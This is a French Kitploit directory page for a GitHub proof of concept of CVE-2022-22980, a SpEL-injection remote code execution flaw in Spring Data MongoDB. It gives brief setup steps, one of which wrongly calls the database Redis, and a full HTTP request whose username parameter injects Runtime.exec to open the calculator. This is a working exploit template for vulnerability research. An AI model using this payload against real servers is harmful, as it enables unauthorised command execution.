Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/jweny/cve-2022-22980
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'Intrusion
GitHubjweny/cve-2022-22980

cve-2022-22980

Exploit de preuve de concept pour CVE-2022-22980, une vulnérabilité d'exécution de code à distance dans Spring Data MongoDB via une injection SpEL dans le paramètre username.

Voir le dépôt
10354il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

spring-data-mongodb-cve-2022-22980-exp

Vulnérabilité de peu d'intérêt, simple note.

  1. Démarrer Redis, port 27017

  2. Démarrer le projet, Spring Boot démarre sur le port 6666

    image-20220622155615142

  3. image-20220622155830238

GET /v1/user/get?username=T(java.lang.Runtime).getRuntime().exec('open+-a+calculator.app') HTTP/1.1
Host: localhost:6666
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 2

Références :

  • https://github.com/li8u99/Spring-Data-Mongodb-Demo
  • https://github.com/trganda/CVE-2022-22980
Télécharger l’outil